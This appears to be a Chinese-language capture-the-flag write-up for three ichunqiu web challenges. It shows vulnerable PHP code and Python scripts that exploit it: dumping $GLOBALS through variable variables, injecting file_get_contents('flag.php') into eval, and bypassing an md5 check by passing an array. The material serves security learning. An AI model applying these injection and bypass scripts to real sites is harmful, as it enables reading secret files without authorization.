题目提示:flag就在某六位变量中。点开题目链接显示代码:
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
关键是这个东西var_dump($$a);
$$
的用法是这样的:
$a = "b";
$b = "c";
echo $$a;
结果为c。
所以这道题用GLOBALS超全局变量可以显示所有变量,包括flag。
import requests
s = requests.session()
body = {"hello":"GLOBALS"}
r = s.post("http://1fe1250261664a54996fc71374eb484a2c3ae34ed42a4be5.game.ichunqiu.com/",data=body)
print s.content
这次的题目提示:flag不在变量中。点开题目,同样代码:
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
这次只有一个$
,很好,我们可以参照上题构造$$flag
,结果返回
string(20) "Too Young Too Simple"
呵呵:)就知道
源代码中有提示存在flag.php,所以考虑用file_get_contents('flag.php')
:
import requests
s = requests.session()
body = {"hello":"file_get_contents('flag.php')"}
r = s.post("http://78dc948f35e9466789a9e0c974332c68a69f4df4deb94c0d.game.ichunqiu.com/",data=body)
print r.content
源代码:
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120 = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
重点就是这个判断语句if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0)
,可以发现这个whoami最开始是ea,然后当和value前两位相等时就变为另一个随机数,并输出,所以我们每次获取这个输出的随机数赋值给value就好,至于后半句,只要保证value为数组,substr就会失败,则等号成立。
import requests
url = "http://024911e020a5435ebb7b1cbe7af0427ccd3d7a8444b4491a.game.ichunqiu.com/?value[]=ea"
s = requests.session()
r = s.get(url)
for i in range(15):
url = "http://024911e020a5435ebb7b1cbe7af0427ccd3d7a8444b4491a.game.ichunqiu.com/?value[]=" + r.content[0:2]
r = s.get(url)
print r.content